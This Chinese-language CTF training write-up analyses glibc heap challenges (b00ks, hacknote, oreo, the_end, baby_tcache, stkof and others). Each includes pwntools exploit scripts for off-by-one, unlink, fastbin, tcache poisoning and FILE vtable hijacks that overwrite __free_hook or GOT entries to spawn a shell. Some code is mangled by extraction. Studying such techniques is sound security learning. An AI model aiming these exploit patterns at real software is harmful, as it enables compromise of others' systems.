堆培训-习题分析

"

本文记录福建堆培训习题分析

堆培训-习题分析

```
0x1 off-by-one/Asis CTF 2016 b00ks
    分析
    思路
    实现
    EXP
    总结
0x2 Chunk Extend/HITCON Trainging lab13
    分析
    思路
    EXP
    总结
0x3 2015 hacklu bookstore
    分析
    思路
    实现
    EXP
    总结
0x4 Ulink/2014 HITCON stkof
    EXP
    总结
0x5 Use After Free/HITCON-training lab 10 hacknote
    EXP
0x6 fastbin/2014 hack.lu oreo
    EXP
    总结
0x7 Unsorted Bin Attack/HITCON Training lab14 magic heap
    EXP
    总结
0x8 伪造 vtable 劫持程序流程/ 2018 HCTF the_end
    分析
    思路
    实现
    EXP
```

```
总结
0x9 Tcache/LCTF 2018 easy heap
   分析
   思路
   实现
   EXP
   总结
0xA HITCON 2018 PWN baby_tcache
   分析
   思路
   实现
   EXP
   总结
0xB 2014 HITCON stkof
   分析
   思路
   实现
   EXP
   总结
0xC [V&N2020]easyTHeap
   分析
   思路
   实现
   EXP
   总结
0xD Double free/西湖论剑2020 mmutag
   分析
   思路
   实现
```

• 0x1 off-by-one/Asis CTF 2016 b00ks

EXP

- 分析

程序读入用户名时存在off-by-one,可以覆盖book chunk的低两位

```
1 struct book
2 {
3   int id;
4   char *name;
5   char *description;
6   int size;
7 }
```

- 思路

- 输入用户名,申请book (精心构造des),通过show泄露book1地址
- 通过off-by-null 覆盖book1 chunk的低地址,使其指向book1的des处,通过前期的构造,此时
 - book1 → book1.des
 - book1.name → book2.name
 - book1.des → book2.des
- 通过申请大chunk的方式,获取mmap申请的chunk与目前chunk的偏移,从而计算libc
- 修改book1.des → free hook (book2.des = free hook)
- 修改bool2.des → one gadget (freehook = onegadget)
- free(1)
- get shell

- 实现

```
#!/usr/bin/python

#coding=utf-8

#_author_:NightK1n9_

from pwn import *

from LibcSearcher import LibcSearcher

from sys import argv

def patch(type):

glibc = {'2.27':'/home/a123/ctf-database/tools/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/',

'2.27.32':'/home/a123/ctf-database/tools/glibc-all-in-one/libs/2.27-3ubuntu1.2_i386/',

'2.29':'/home/a123/ctf-database/tools/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/',

'2.29.32':'/home/a123/ctf-database/tools/glibc-all-in-one/libs/2.29-0ubuntu2_i386'}
```

```
type = str(type)
    libc_addr = glibc[type]+'libc.so.6'
    ld_addr = glibc[type]+'ld-'+type[0:4]+'.so'
def ret2libc(leak, func, path=''):
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search(b'/bin/sh').__next__()
    return (base, system, binsh,)
      = lambda data
                                   :p.send(data)
       = lambda delim,data
                                    :p.sendafter(delim, data)
       = lambda data
                                    :p.sendline(data)
      = lambda delim,data
                                    :p.sendlineafter(delim, data)
      = lambda delim,data
                                    :p.sendafter(delim, data)
      = lambda numb=4096
                                   :p.recv(numb)
      = lambda delims, drop=True :p.recvuntil(delims, drop)
      = lambda data
                                    :u32(data.ljust(4, b'\0'))
       = lambda data
                                    :u64(data.ljust(8, b'\0'))
      = lambda
                                    :p.interactive()
                              :p.info(tag + ': {:#x}'.format(addr))
leak = lambda tag, addr
context.log_level = 'DEBUG'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
binary = './b00ks'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(binary)
if len(argv) > 1:
   if argv[1]=='r':
        p = remote('',)
    elif argv[1]=='p':
        _{\rm ld}, _{\rm libc} = patch(2.27)
        p = process([_ld, binary],env={'LD_PRELOAD':_libc})
if context.arch == 'i386':
   libc = ELF(local_libc_32)
else:
    libc = ELF(local_libc)
```

```
def dbg(cmd=''):
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
   gdb.attach(p,cmd)
   pause()
def add(name_size, name, des_size, des):
   sla('size:',str(name_size))
   sla('):',str(name))
   sla('size:',str(des_size))
   sla('ion:',str(des))
def free(id):
   sla('>','2')
    sla('te:',str(id))
def edit(id,des):
   sla('edit:',str(id))
   sla('ion:',des)
def show():
def change(name):
   sla('>','5')
    sla('name:',name)
```

```
buf(rbp - 8) \rightarrow name_addr(0x202040) \rightarrow NAME 0x20
book struct(0x20): -> 0x202060+id*8
   long int id -> 0x202024
   char* name_chunk
   char* des_chunk
   long int size
pl = b'a'*31+b'b'
sla('name:',pl)
add(0xd0, 'aaaa', 0x20, 'bbbb')
show()
ru('ab')
book1 = uu64(r(6))
pl = flat([1,book1+0x38,book1+0x40,0xffff])
edit(1,pl)
change(b'a'*32)
add(0x21000,'cccc',0x21000,'dddd')
show()
book2_des = uu64(ru('Au')[:-1])
free_hook = base + libc.sym['__free_hook']
one_gadget = base + 0x4527a
edit(1,p64(free_hook))
edit(2,p64(one_gadget))
free(1)
leak('book2_des',book2_des)
leak('book1',book1)
leak('libc',base)
itr()
```

0x2 Chunk Extend/HITCON Trainging lab13

- 分析

存在off-by-one漏洞

- 思路

• 题目结构体如下

```
heaparray{
long int size
char* content
}
```

- 申请两个heap 0和1
- 利用offbyone编辑heap1,修改heap2的size域,使其覆盖heap2.content
- free heap2
 - 。 此时fastbin中有两个chunk
 - heap2 (由于被修改过,实际上是heap2+heap2.content)
 - heap2.content
- 控制heap2.content的大小为0x20,这样再新建heap时
 - new_heap → heap2.content
 - new_heap.content → heap2+heap2.content
 - 。 我们就可以通过修改new_heap.content的内容来修改new_heap.content的指针,从而获得任意地址写,同时利用show功能获得任意地址读
- 新建heap2, 修改heap2.content的内容, 使heap2.content → free_got
- show 泄露free地址
- 修改heap2.content内容(修改free got表为one gadget)
- get shell

然而试验发现本题不能用one gadget,于是转而用system(binsh)的方法

- 修改free got 为sys地址
- 编辑heap1的content, 在开头写上binsh

- 。 这样free(heap1.conten) = system(binsh)
- o get shell

```
0x6020A0 heaparray
heaparray{
    long int size
    char* content
 }
 def add(size,content):
    sla('choice :','1')
    sla(':',str(size))
     sla(':',content)
def edit(id,content):
    sla('choice :','2')
    sla(':',str(id))
def free(id):
    sla('choice :','4')
     sla(':',str(id))
def show(id):
     sla('choice :','3')
     sla('Index :',str(id))
 add(0x18,'aaa') # 0
 add(0x10,'bbb') # 1
 edit(0,b'a'*0x18+b'\x41')
 free(1)
 free_got = elf.got['free']
 add(0x30,b'a'*0x20 + p64(0x30) + p64(free_got)) # 1
 show(1)
 free_addr = uu64(ru('\nDone')[-6:])
 base,sys,binsh = ret2libc(free_addr,'free',local_libc)
 leak('free_got',free_got)
 leak('free_addr',free_addr)
 leak('base',base)
 leak('sys',sys)
 leak('binsh',binsh)
 edit(1,p64(sys))
 edit(0,'/bin/sh\x00\x00')
```

```
46 free(0)
47
48 # end
49
50 itr()
```

0x3 2015 hacklu bookstore

- 分析

之前我们学习过ret2csu,通过利用__libc_csu_init的方式控制程序执行

这次需要利用到的是fini_array劫持,主要利用的是__libc_csu_fini

__libc_csu_fini 和 __libc_csu_init 类似,后者在main函数之前在执行,前者在main之后执行 __libc_csu_fini的利用方式比较多,可以控制程序循环执行,也可以进行栈迁移,但这里我们只介绍 fini_array

首先介绍一下大致的执行流程

```
__libc_csu_init -> main -> __libc_csu_fini [ array[1] -> array[0] ]
```

因此我们只需要改写arry[0]就可以控制程序执行流程

- 思路

- 1. 利用堆溢出进行 chunk extend,使得在 submit 中 malloc(0x140uLL) 时,恰好返回第二个订单处的位置。在 submit 之前,布置好堆内存布局,使得把字符串拼接后恰好可以覆盖 dest 为指定的格式化字符串。
- 2. 利用输入选择时将fini_arry地址布置在栈上,通过构造 dest 为指定的格式化字符串:一方面泄漏 __libc_start_main_ret 的地址,**一方面修改fini_arry为main函数使程序重新运行**,另外泄露一个与返 回值偏移固定的地址,方便之后修改返回值。
- 3. 利用程序重新运行的机会,将ret覆盖为one_gadget, get shell

当然, 其实还可以更简单, 在程序重新运行后

覆盖 free@got 为 one_gadget 地址, 这样就不必担心计算出的ret因为偏移而发生变化。

• 步骤1:

由于我们要释放的chunk属于smallbin,因此既要通过 !prev_inuse(next_chunk) 检查[修改后块prev_inuse位为1],又要防止释放的chunk与后块合并[修改后后块prev_inuse位为1]

- 步骤2:
 - 。 修改地址时,不要忘了printf函数已经输出了13个字符
 - 。 寻找固定的返回值时,最好找一些指向常量的地址,如图【返回值即为\$rbp+8】

```
00:0000
                                    ← 0x2f2f2f2f /* '////' */
           TSD
01:0008
                             fdca8 → 0x6029e0 ← 0x0
02:0010
                                                        pop
03:0018
                                         0x602010 ← 0x0
04:0020
                                                             fff7dd1bf8 (main arena+216) → 0x7ffff7dd1b
                                        0x6020a0 ->
05:0028
                                        0x602130 ← 0x0
06:0030
                                         '5aaaaaa\n'
                                        0x0
0xff000000
0xff0000000000ff
07:0038
08:0040
09:0048
0a:0050
                            ffdcf0 ← 0x0
...↓
0c:0060
                  0x7fffffffdd00 ← 0xff00000000000000
0x7ffffffdd08 ← 0xff000000
0x7ffffffdd10 ← 0x0
0d:0068
0e:0070
10:0080
11:0088
                  0x7fffffffdd20 ← 0x1
0x7fffffffdd28 → 0x4(
0x7fffffffdd30 ← 0x0
                                                    → add
                                                                 rbx, 1
12:0090
                 0x7fffffffdd40 → 0x7fffffffdd48 →
14:00a0
                                                    → push
                                                                 r15
15:00a8
                                                        XOL
                                                                 ebp
16:00b0
                                                         10 ← 0x1
17:00b8
                                        0xe99a35d5f7201c00
18:00c0
           гЬр
                                                                 r15
                                                    → push
19:00c8
                                                                                    -240) - mov
```

- 步骤3:
 - 。 在重新运行程序后,返回值发生了偏移,偏移大小为 0x110
- EXP

```
1  def edit(id,data):
2    if id == 1:
3        index = '1'
4    else:
5        index = '2'
6        sla('Submit\n',str(index))
7        sla('order:\n',data)
8
9   def free(id):
10        if id == 1:
11            index = '3'
12        else:
13            index = '4'
14        sla('Submit\n',str(index))
15
16   def show(data):
17        data = '5'+data
18        sla('Submit\n',data)
```

```
print_vul = 0x400C8E
 fmt = '%' + str(0xa39-13) + 'c%13$hn'
 fmt+= '.%31$p,%28$p'
 data = fmt.ljust(0x80,b'a')
 data+= p64(0x90) + p64(0x151)
 data+= b'b'*(0x140)
 data+= p64(0x150) + p64(0x21)
 data+= b'c'*0x10
 data+= p64(0x20) + p64(0x21)
 edit(1,data)
 free(2)
 data = b'a'*7
data+= p64(fini_arry)
 show(data)
ru('0x')
ret = int(r(14), 16) - 0xd8
 base,sys,binsh = ret2libc(libc_main,'__libc_start_main',local_libc)
 leak('libc_main',libc_main)
 leak('ret',ret)
 leak('base',base)
 one_gadget = base + 0x45226 # 0x4527a 0xf0364 0xf1207
 one_1 = one_gadget & 0xff
 one_2 = (one_gadget >> 8) & 0xffff
 fmt = '%'+str(one_1-13)+'c%13$hhn'
 fmt+= '%'+str(one_2-one_1)+'c%14$hn'
 data = fmt.ljust(0x80,b'a')
 data+= p64(0x90) + p64(0x151)
 data+= b'b'*(0x140)
 data+= p64(0x150) + p64(0x21)
```

https://bbs.pediy.com/thread-246783.htm

https://blog.csdn.net/qq_43449190/article/details/89077783

https://www.secshi.com/19682.html

- free的保护是什么
- 为什么修改不了,因为修改的是指向的地址,这里指向的地址是code段?

• 0x4 Ulink/2014 HITCON stkof

见EXP注释

```
1  def add(size):
2    sl('1')
3    sleep(0.2)
4    sl(str(size))
5    ru('OK\n')
6
7  def edit(id, size, data):
8    sl('2')
9    sleep(0.2)
10    sl(str(id))
```

```
sleep(0.2)
    sl(str(size))
    sleep(0.2)
    sl(data)
    ru('0K\n')
def free(id):
   sl('3')
    sleep(0.2)
    sl(str(id))
    sleep(0.2)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
add(0x100) # 1
add(0x30) # 2
add(0x80) # 3
pl = p64(0) + p64(0x31) # fake pre_size & size
pl+= p64(fd) + p64(bk) # fake fd bk
pl = pl.ljust(0x30,b'a')
pl+= p64(0x30) + p64(0x90) # fake target chunk's pre_size size
edit(2,len(pl),pl)
free(3)
pl = p64(0) + p64(free_got)*2 + p64(puts_got)
edit(2,len(pl),pl)
pl = p64(puts_plt)
edit(0,len(pl),pl)
free(2)
puts_addr = uu64(ru('\x7f',False)[-6:])
base,_,_ = ret2libc(puts_addr,'puts',local_libc)
pl = p64(one_gadget)
edit(0,len(pl),pl)
leak('heap',heap)
leak('puts_got',puts_got)
leak('puts_plt',puts_plt)
leak('free_got',free_got)
leak('puts_addr',puts_addr)
```

```
1 leak('base',base)
1 leak('one_gadget',one_gadget)
1 free(1)
1  # end
```

• 0x5 Use After Free/HITCON-training lab 10 hacknote

见EXP注释

```
struct hacknote{
    void* puts
    char* content
 # heap = 0x804A070
def add(size,data):
     sla('choice :','1')
     sla('size :',str(size))
     sla('Content :',data)
def free(id):
     sla('choice :','2')
     sla('Index :',str(id))
def show(id):
     sla('choice :','3')
     sla('Index :',str(id))
 add(0x10,'000') # 0
 free(0)
 free(1)
 show(0)
```

```
30
31 # end
```

• 0x6 fastbin/2014 hack.lu oreo

见EXP注释

```
def add(name, des):
def show():
    sleep(0.1)
def free():
def message(data):
    sleep(0.1)
    sl(data)
    sleep(0.1)
def show_stats():
    sleep(0.1)
puts_got = elf.got['puts']
pl =b'a'*27 + p32(puts_got)
add(pl,'ssss')
show()
leak('puts_got',puts_got)
ru('Description: ')
ru('Description: ')
base,sys,binsh = ret2libc(puts_addr,'puts',local_libc_32)
```

```
for i in range(0x3f):
    pl = b' \times 00'
   pl = pl.ljust(0x20,b'\x00') + p32(0x40) + p32(0x123)
    leak('puts_addr',puts_addr)
    leak('base',base)
    leak('fake chunk',0x804A2A8)
    message(pl)
    pl = b'a'*27 + p32(0x804A2A8)
    add(pl,'a')
    free()
53  p1 = p32(puts_got)
    add('111',pl)
one_gadget = base + 0x5fbd5 #0x5fbd6 # 0x3ac6c 0x3ac6e 0x3ac72 0x3ac79
    leak('one_galget',one_gadget)
    pl = p32(one_gadget)
59 message(pl)
    show_stats()
```

• system('/bin/sh') == system('asdasdsdas;/bin/sh')

0x7 Unsorted Bin Attack/HITCON Training lab14 magic heap

见EXP注释

```
1  # start
2
3  '''
4  heaparry 0x6020E0
5
6  '''
```

```
def add(size, data):
     sla('choice :','1')
     sla('Heap :',str(size))
     sla('heap:',data)
 def edit(id, size, data):
     sla('choice :','2')
     sla('Index :',str(id))
     sla('Heap :',str(size))
     sla('heap :',data)
 def free(id):
     sla('choice :','3')
     sla('Index :',str(id))
 add(0x20, 'aaa') # 0
add(0x80,'bbb') # 1
add(0x20,'ccc') # 2
free(1)
 pl = b'a'*0x20 + p64(0) + p64(0x91)
pl+= p64(0) + p64(magic-0x10)
 edit(0,0x40,pl)
 add(0x80,'1')
 sla('choice :',str(0x1305))
itr()
```

• 0x8 伪造 vtable 劫持程序流程/ 2018 HCTF the_end

- 分析

分析题目,利用点很明确在 main 函数中,且:

- 除了 canary 保护全开
- libc 基地址和 libc 版本

• 能够任意位置写5字节

- 思路

方法一:

修改stdout函数表 setbuf

- 利用的是在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数。
- 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable , 然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget 。

方法二:

修改stdout 结构体中虚表中 overflow 函数指针

- 因为glibc是2.23的,没有vtable的检查,因此修改函数表不会引起程序的错误。 查看exit函数的源码,exit中存在一条函数调用链: exit->__run_exit_handlers->_I0_cleanup->_I0_flush_all_lockp
- 通过查看_IO_flush_all_lockp的源码可以发现,如果控制 stdin、stdout或者stderr中实现 p->_mode <= 0 以及fp->_IO_write_ptr > fp->_IO_write_base 同时修改vtable里面的 _IO_OVERFLOW 为one gadget , 那么就可以顺利的劫持控制流。
- 五字节的修改思路:
 - 。 修改stdout 中_IO_write_ptr 最后一字节,实现 fp-> IO_write_ptr > fp-> IO_write_base
 - 。 修改 **stdout** 中 vtable 的 倒数第二字节,实现该伪造的 _**IO_OVERFLOW** 存在libc 相关地址 (io_overflow = vtable + 0xe00)
 - 。 最后修改伪造的 _IO_OVERFLOW 的后三个字节为 one gadget . 经过这五个字节的修改,执行 exit 函数时会最终 执行 one gadget,获得shell。

方法三:

修改_dl_fini函数指针

在调用 exit 函数时,最终在 ld.so 里面的 _dl_fini 函数会使用

```
0x7ffff7de7b2e <_dl_fini+126>: call QWORD PTR [rip+0x216414] #
0x7ffff7ffdf48 <_rtld_global+3848>
```

取出 libc 里面的一个函数指针,然后跳转过去,所以思路就是写这个函数指针为 one_gadget ,然后调用 exit 时就会拿到 shell .

找这个调用位置时,可以把 _rtld_global+3848 改成 0 然后程序崩溃时,看下栈回溯就能找到位置了。

方法一 修改stdout函数表 setbuf:

- 我们先调试找出_IO_2_1_stdout_和libc的偏移,这里可以直接借助pwntools stdout = libc.sym['_IO_2_1_stdout_'],而_IO_2_1_stdout_中的vatable偏移为 stdout+0xd8
- 然后此时在虚表附近寻找一个 fake_vtable , 需满足以下条件:
 - fake_vtable_addr + 0x58 = libc_base + off_set_3 (即用两个字节伪造fake_vtable, 用三个字节伪造one_gadget)
 - 。 其中 0x58 根据下表查处是 set_buf 在虚表的偏移
- 因此我们先来看看一下程序中stdout下vtable表附近的地址,以及libc中的onegadget

```
> x/100xg 0x7ffff7dd2500
0x7ffff7dd2500 <_nl_global_locale+224>: 0x00007ffff7b9ba57
                                                                       0x000000000000000000
0x7ffff7dd2510: 0x00000000000000000
                                            0x000000000000000000
0x7ffff7dd2520 <_IO_list_all>: 0x00007ffff7dd2540
                                                              0x00000000000000000
0x7ffff7dd2530: 0x00000000000000000
                                            0x00000000000000000
0x7fffff7dd2540 <_IO_2_1_stderr_>:
0x7fffff7dd2550 <_IO_2_1_stderr_+16>:
                                            0x00000000fbad2086
                                                                       0x00000000000000000
                                            0x00000000000000000
                                                                       0x000000000000000000
0x7ffff7dd2560 <_IO_2_1_stderr_+32>:
                                            0x00000000000000000
                                                                       0x00000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+48>:
                                            0x00000000000000000
                                                                       0x00000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+64>:
                                            0x00000000000000000
                                                                       0x00000000000000000
0x7ffff7dd2590 <_IO_2_1_stderr_+80>:
                                            0x00000000000000000
                                                                       0x00000000000000000
0x7fffff7dd25a0 <_IO_2_1_stderr_+96>:
0x7ffff7dd25b0 <_IO_2_1_stderr_+112>:
                                            0x00000000000000000
                                                                       0x00007ffff7dd2620
                                                                       0xffffffffffffff
                                            0x00000000000000000
0x7ffff7dd25c0 <_IO_2_1_stderr_+128>:
                                            0x000000000000000000
                                                                       0x00007ffff7dd3770
0x7ffff7dd25d0 < IO 2 1 stderr +144>:
                                            0xfffffffffffffff
                                                                       0x000000000000000000
0x7ffff7dd25e0 < IO 2 1 stderr +160>: 0x00007ffff7dd1660
                                                                       0×000000000000000000
0x7fffff7dd25f0 <_IO_2_1_stderr_+176>:
0x7ffff7dd2600 <_IO_2_1_stderr_+192>:
0x7ffff7dd2610 <_IO_2_1_stderr_+208>:
                                            0×00000000000000000
                                                                       0x000000000000000000
                                            0x00000000000000000
                                                                        0x00000000000000000
                                                                       0x00007ffff7dd06e0
                                            0x00000000000000000
0x7ffff7dd2620 <_IO_2_1_stdout_>:
                                            0x000000000fbad2a84
                                                                       0x0000555555756010
0x7ffff7dd2630 < IO_2_1_stdout_+16>:
                                            0x0000555555756010
                                                                       0x0000555555756010
0x7ffff7dd2640 <_IO_2_1_stdout_+32>:
                                            0x0000555555756010
                                                                       0x0000555555756010
0x7ffff7dd2650 <_IO_2_1_stdout_+48>:
                                            0x0000555555756010
                                                                       0x0000555555756010
0x7ffff7dd2660 <_IO_2_1_stdout_+64>:
0x7ffff7dd2670 <_IO_2_1_stdout_+80>:
0x7ffff7dd2680 <_IO_2_1_stdout_+96>:
                                            0x0000555555756410
                                                                       0x00000000000000000
                                            0x00000000000000000
                                                                       0x00000000000000000
                                            0x000000000000000000
                                                                       0x00007ffff7dd18e0
                                                                       0xfffffffffffffff
0x7ffff7dd2690 <_IO_2_1_stdout_+112>:
                                            0x00000000000000001
0x7ffff7dd26a0 <_IO_2_1_stdout_+128>:
                                            0x00000000000000000
                                                                       0x00007ffff7dd3780
0x00000000000000000
```

最终在vtable的上方找到了一个合适的地址(0x7ffff7dd25e0),我们用vmmap来看一下它可不可写

```
| Description |
```

发现可写,那么我们就可以开始修改了

- 要用send,不要用sendline
- python2兼容性更好些

https://bbs.pediy.com/thread-248495.htm

https://www.cnblogs.com/hac425/p/9959748.html

0x9 Tcache/LCTF 2018 easy heap

- 分析

add处会向chunk[size]处写入一个\x00,存在off-by-null漏洞

一般存在这种漏洞首先想到的是堆扩展,造成堆块交叉,但这道题里所有的堆大小全是一样的,而且不存在堆溢出,且无法输入NULL[输入\x00会退出]

因此这里我们这里考虑利用堆扩展泄露数据,而非改写数据

- 思路

- 通过off-by-null构造堆块扩展,将处于分配状态的chunk夹在usbin中间,泄露libc基址
 - 1. 将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
 - 2. A 和 B 合并, 此时 C 前的 prev_size 写入为 0x200
 - 3. A 、 B 、 C 合并, 步骤 2 中写入的 0x200 依然保持
 - 4. 利用 unsorted bin 切分,分配出 A
 - 5. 利用 unsorted bin 切分, 分配出 B
 - 6. 将 A 再次释放为 unsorted bin 的堆块, 使得 fd 和 bk 为有效链表指针
 - 7. 此时 C 前的 prev_size 依然为 0x200(未使用到的值), A B C 的情况: A (free) -> B (allocated) -> C (free) , 如果使得 B 进行溢出,则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
 - 8. 溢出后,可以使得BC为一个合并的usbin chunk,此时我们申请A,A会将**fd和bk写入BC块的开** 头

并清空自身的fd和bk, 之后分配

但此时B还处于分配状态,因此我们可以输出B中content的信息,即FD的信息,此时FD指向main_arena+96 其与 libc_base 的偏移为 0x3ebca0

由此可获得 libc_base

- 利用上一步中夹在usbin中间的处于分配状态的chunk,构造double free,进行tcache投毒,修改 free_hook地址为one_gadget
- get shell

EXP

```
def add(size, data):
       sla('>',str(size))
    def free(id):
     sla('>',b'2')
       sla('>',str(id))
    def show(id):
      sla('>',b'3')
     sla('>',str(id))
    heap_arry = 0x202050
   for i in range(10):
    add(0x10,b'aaa')
23 for i in range(6):
    free(i)
    free(9)
32 for i in range(6,9):
        free(i)
40 for i in range(7):
        add(0x10, 'bbb')
```

```
for i in range(3):
add(0x10,b'ccc')
for i in range(6):
free(i)
free(8)
free(7)
add(0xf8,b'dddd')
free(6)
free(9)
```

```
for i in range(7):
    add(0x10,b'd')
add(0x10,'b')
show(0)
base = uu64(ru('\x7f',False)[-6:]) - 0x3ebca0
leak('base',base)
add(0x10,'c')
leak('heap_arry',heap_arry)
free(1)
free(0)
free(9)
one_gadget = base + 0x4f3c2 #0x10a45c 0x4f365
free_hook = base+libc.sym['__free_hook']
add(0x10,p64(free_hook))
leak('free_hook',free_hook)
leak('one_gadget',one_gadget)
add(0x10,'ddd')
add(0x10,p64(one_gadget))
free(1)
```

- tcache通过fd分配, fd指向的是下一个分配的chunk地址, 因此可以进行投毒
- 第一个usbin的fd和bk会指向 main_arena+96 的位置
- tcache是LIFO, usbin是FIFO, 因此在做题时需要注意

• 0xA HITCON 2018 PWN baby_tcache

- 分析

- 程序的功能很简单,就 2 个功能,一个功能为 New 申请使用内存不大于 0x2000 的 chunk,总共可以申请 10 块,通过 bss 段上的一个全局数组 arr 来管理申请的 chunk,同时 bss 段上的数组 size_arr 来存储相应 chunk 的申请大小 size。
- 程序的另外一个功能就是 delete ,删除所选的堆块 ,删除之前会事先把 chunk 的内容区域按照申请的 size 覆盖成 0xdadadada 程序的漏洞代码在功能 New 的时候 ,写完数据后 ,有一个 null-byte 溢出漏洞
- 程序的漏洞很容易发现,而且申请的 chunk 大小可控,所以一般考虑构造 overlapping chunk 处理
 - 。但是问题在于即使把 main_arena 相关的地址写到了 chunk 上,也没法调用 show 功能做信息泄露
 - ,因为程序就没提供这个功能。

这个程序需要用到IO_FILE的知识,下面先来简单的介绍一下相关知识

程序调用puts等函数时,其内部实现是调用 __IO_new_file_overflow ,正常的程序流程是接着执行 __IO_do_write , 所以我们要pass两个判断,接着 __IO_do_write 接着会以同样的参数调用 new_do_write

```
14 :
15  }
16  if (ch == EOF)
17   return _IO_do_write (f, f->_IO_write_base, // our target
18   f->_IO_write_ptr - f->_IO_write_base);
```

因此我们想要执行 _IO_do_write 的前提条件如下

```
1 #define _IO_NO_WRITES 8
2 #define _IO_CURRENTLY_PUTTING 0x0800
3 #define _IO_IS_APPENDING 0x1000
4
5 _flags = 0xfbad0000 //高两个字节是magic不用管
6 _flags & = _IO_NO_WRITES = false
7 _flags & _IO_CURRENTLY_PUTTING = true
8 _flags & _IO_IS_APPENDING = true
9
10 所以_flag的值为0x0xfbad18*0 *可以为任何数
```

在 _IO_do_write 中,最后会执行 _IO_SYSWRITE (fp, data, to_do)

即执行 _IO_SYSWRITE (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)

我们将 _IO_write_base 的低一个字节覆盖为x08,因为这个地方存放了 _IO_stdfile_2_lock 的地址,而这个地址比__free_hook的地址低0x38个字节,因此泄露出来后,即可以算出libc基址

综上我们需要覆盖的 _IO_2_1_stdout_ 文件流中数据为

```
1 _flag的值为0x0xfbad18*0 *可以为任何数
2 覆盖_IO_write_base低一个字节为x08
```

当程序调用输出的函数时,比如puts,就会输出 __IO_stdfile_2_lock 的地址

- 思路

- 1. 通过 usbin 和 tcache 联合投毒,将chunk申请到 stdout.flag 附近
 - 。 首先申请 两个大chunk夹小chunk ,并进行堆扩展,合成 一个chunk
 - 。 释放夹在中间的小chunk, 使其进入 tcache 中
 - 。 申请一个chunk,使此时 usbin的头chunk 恰好是 tcache中的chunk
 - 。 再申请一个 size不在tcache中的chunk ,利用 malloc 不会清空内存的特性,修改 fd指针为 stdout.flag地址 ,进行投毒
 - 这样做可以在没有libc base的情况下进行投毒
 - 因为libc base未知,而我们一次性改了两个字节,因此有一位需要爆破

- 2. 修改 stdout.flag 的值以通过检查 & 修改 _IO_write_base 低一个字节为x08,使其最终输出 _IO_stdfile_2_lock 地址,最终获得 libc基址
- 3. 利用 double free 或者 联合投毒 的方式,将chunk申请到 _free_hook , 修改内容为 one_gadget
- 4. Get shell

```
def add(size,data):
    sla('choice:','1')
    sla('Size:',str(size))
    sa('Data:',data)
def free(id):
   sla('choice:','2')
    sla('Index:',str(id))
# 通过堆扩展,使一个chunk同时在usbin和tcache中
def pwn():
    add(0x500 - 0x8, 'a') # 0
    add(0x30,'a') # 1 A <-- target chunk
    add(0x60,'a') # 2
    add(0x500-0x8,'a') # 3
    add(0x70,'a') # 4 防止与topchunk合并
    free(2)
    pl = 'a'*0x60 + p64(0x5b0)
    add(0x68,pl) # 2
    free(0)
    free(1) # A
    # 激活堆扩展
    free(3)
```

```
add(0x500-0x9,'a')
    stdout = sym('_I0_2_1_stdout_')
    add(0x50,'\x60\x07')
    leak(heap_arry)
    add(0x30,'a')
    pl = p64(0xfbad1800)+p64(0)*3+' \times 08'
    add(0x30,pl)
while 1:
    try:
        pwn()
        base = uu64(r(6)) - 0x3ed8b0
        one_gadget = base + 0x4f3c2
        free_hook = base + sym('__free_hook')
        leak(one_gadget)
        leak(free_hook)
        free(1)
        free(3)
        add(0x50,p64(free_hook))
        add(0x50,'a')
        add(0x50,p64(one_gadget))
        free(0)
        itr()
    except:
       p.close()
        success('No: '+str(i))
        p = process(binary)
```

- https://www.dazhuanlan.com/2019/10/07/5d9a182901848/
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack-zh/#challenge-2-hitcon-2018-pwn-baby_tcache
- stdout中的数据在输出一次之后会清空

- usbin和tcache联合投毒的时候,申请一个不在tcache中的chunk,这样chunk就会从usbin中切割, 并且保留usbin中的fd
 - 。 为什么usbin中的fd指针会被保留?
 - 因为malloc本身就不会清空chunk中的内容

0xB 2014 HITCON stkof

- 分析

这道题是之前2.23 unlink的例题,但这回换到了2.27的环境中了

最开始我想借助challenge1的思路,使用usbin进行堆扩展,泄露libc地址,但之后发现这道题并没有输出,因此还是乖乖的来tcachhe投毒吧

- 思路

- 先利用 usbin 堆扩展 将 libc相关地址 写入处于 分配状态 的chunk中
- 之后利用 tcache投毒 将 free_got 改为 puts_plt 泄露 libc相关地址
- 最后将 free_got 改为 one_gadget 拿shell

这里先写 libc 再 投毒 的原因是, free_got 中是有数据的,因此投毒之后会造成tcache污染,从而无法再申请新chunk

如果采用修改 __free_hook 的方式应该可以解决该问题

- 实现

```
1  def add(size):
2    sl('1')
3    sleep(0.2)
4    sl(str(size))
5    sleep(0.2)
6
7  def edit(id,size,data):
8    sl('2')
9    sleep(0.2)
10    sl(str(id))
11    sleep(0.2)
12    sl(str(size))
13    sleep(0.2)
14    sl(data)
15    sleep(0.2)
```

```
def free(id):
   s1('3')
   sleep(0.2)
   sl(str(id))
   ru('0K\n')
heap\_arry = 0x602140
add(0x100) # 1
# ----- 利用usbin 堆扩展写libc
add(0x420) # 2
add(0x420) # 3
add(0x420) # 4
add(0x10) # 5
add(0x10) # 6
add(0x10) # 7
free(2)
pl = '\x00' *0x420 + p64(0x860) + p64(0x430)
edit(3,0x430,pl)
free(4)
add(0x420) # 8
free(6)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
pl = 'a'*0x10 + p64(0) + p64(0x21)
pl+= p64(free_got)
edit(5,0x28,pl)
leak('puts_plt',puts_plt)
